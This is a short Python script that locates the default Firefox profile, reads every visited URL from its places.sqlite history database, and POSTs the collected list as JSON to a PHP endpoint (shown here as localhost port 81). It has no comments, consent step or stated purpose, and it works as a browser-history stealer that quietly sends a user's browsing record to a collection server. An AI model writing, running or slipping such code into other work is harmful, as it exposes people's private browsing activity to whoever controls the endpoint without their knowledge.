import os,sqlite3,requests,json

base_path = os.path.expanduser("~/.mozilla/firefox/installs.ini")
with open(base_path ,"r") as bp:
    r=(bp.read()).split("\n")[1]
    r=r.split("=")[1]

firefox_profile_path = os.path.expanduser('~/.mozilla/firefox/'+r+'/places.sqlite')
conn = sqlite3.connect(firefox_profile_path)
cursor = conn.cursor()
cursor.execute('SELECT url FROM moz_places')
placesd=cursor.fetchall()
d={}
conn.close()
for x in range(0,len(placesd)):
    d[x]=placesd[x][0]
ds=json.dumps(d)
data={"data":ds}
res=requests.post("http://127.0.0.1:81/history.php",data=data)
print(res.text)